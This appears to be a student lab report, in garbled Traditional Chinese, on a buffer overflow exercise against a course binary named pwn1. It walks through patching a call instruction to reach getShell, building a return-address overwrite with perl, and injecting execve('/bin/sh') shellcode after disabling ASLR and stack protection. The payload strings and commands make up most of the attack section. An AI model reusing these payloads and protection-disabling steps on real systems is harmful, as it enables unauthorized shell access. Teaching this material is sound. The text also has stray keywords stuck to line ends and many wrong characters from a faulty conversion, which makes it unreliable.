2018-2019-2 20165313《網絡對抗技術》Exp1 緩衝區溢出實驗

實踐涉及指令

NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)
JE:條件轉移指令,若是相等則跳轉。(機器碼:74)
JMP:無條件轉移指令。段內直接短轉Jmp
CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。linux

實踐內容

本次實踐的對象是一個名爲pwn1的linux可執行文件。
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode.。git

三個實踐內容以下:

手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
    利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
    注入一個本身製做的shellcode並運行這段shellcode。

這幾種思路,基本表明現實狀況中的攻擊目標:

運行本來不可訪問的代碼片斷
    強行修改程序執行流
    以及注入運行任意代碼。

實踐過程 (如下所示圖片都是實踐過程當中截圖,故並沒有特別標識)

實踐一:直接修改程序機器指令,改變程序執行流程

(1)經過objdump -d pwn1對文件進行反彙編,並得到須要的三個信息,以下圖:

(2)經過上圖可看出,想要直接調用getShell,則須要將main函數中指向foo的地址改變爲指向getShell的地址,則經過計算肯定修改項 d7,改成c3便可。修改方式和結果以下:
shell


(3)運行結果如圖所示:

注意在16進制文件中尋找e8d7時,應該逐條尋找,即看到e8 就應該觀察否則會直接跳到文末沒法找到對應值。
安全

實踐二:經過構造輸入參數,形成BOF攻擊,改變程序執行流

(1)經過gdb調試,判斷那幾個字節覆蓋到後面的指令。

由圖可知,eip的值爲ASCII 5,因此覆蓋的字節在後8字節。
(2)肯定構造字序。

由圖可看出,覆蓋順序爲4321。dom

(3)構造字符串:由於鍵盤沒法輸入16進制數,因此使用prel方法,將getShell的內存地址寫入輸入字符串中
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > inputide

實踐三:注入Shellcode並執行(此步驟時出了一點問題,源文件夾不可用,因此換了一個文件夾)

(1)首先使用 apt-get install execstack命令安裝execstack。 而後接連輸入:函數

execstack -s pwn2016513    //設置堆棧可執行
execstack -q pwn2016513    //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space 
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space

(2)構造一個字符串:學習

~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

做爲測試輸入。測試

(3)輸入ui

(cat input_shellcode;cat) | ./pwn1

(4)打開另外一個終端。

ps -ef | grep pwn

查詢進程號,並使用attach命令調試(在gdb中)

(5)修改輸入字符串:
由教程可知應該用

retaddr+nops+shellcode

方式注入
由上圖可看出esp爲oxffffd21c,則其下一個地址0xffffd220就是所需地址。
修改命令以下:

perl -e 'print "A" x 32;print "\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(6)運行
`(cat input_shellcode;cat)|./pwn20165313
以下圖:

實踐中的問題:

E: 沒法得到鎖 /var/lib/dpkg/lock - open (11: 資源臨時不可用)
E: 沒法對管理目錄(/var/lib/dpkg/)加鎖,是否是另外一個包管理程序在使用它?

解決方案:
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock

實踐收穫與感悟

本次實踐我參考了 https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md 和學長的報告來作的,初步瞭解了怎麼去利用Bof漏洞,怎麼簡易地修改和注入shellcode等一系列相關知識。收穫很大,但要學的仍是不少。

實踐問題回答:

什麼是漏洞,漏洞的危害是什麼?

百度百科:漏洞是在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,從而可使攻擊者可以在未受權的狀況下訪問或破壞系統。
自我理解:在我看來,漏洞就至關於人的性格上的缺陷(或者能夠說是缺少理智的時候)同樣,雖然平時不會被注意,但一旦被發現並加以利用,就有可能形成嚴重後果(好比貪財的大爺大媽被騙錢)。而漏洞一旦被人利用,計算機就會在咱們不知道的狀況下泄露咱們的隱私或者須要的計算機資源被破壞,就想那些被騙子牽着鼻子走的受害人同樣,在自我未察覺的狀況下,蒙受了巨大的損失。

相關文章
相關標籤/搜索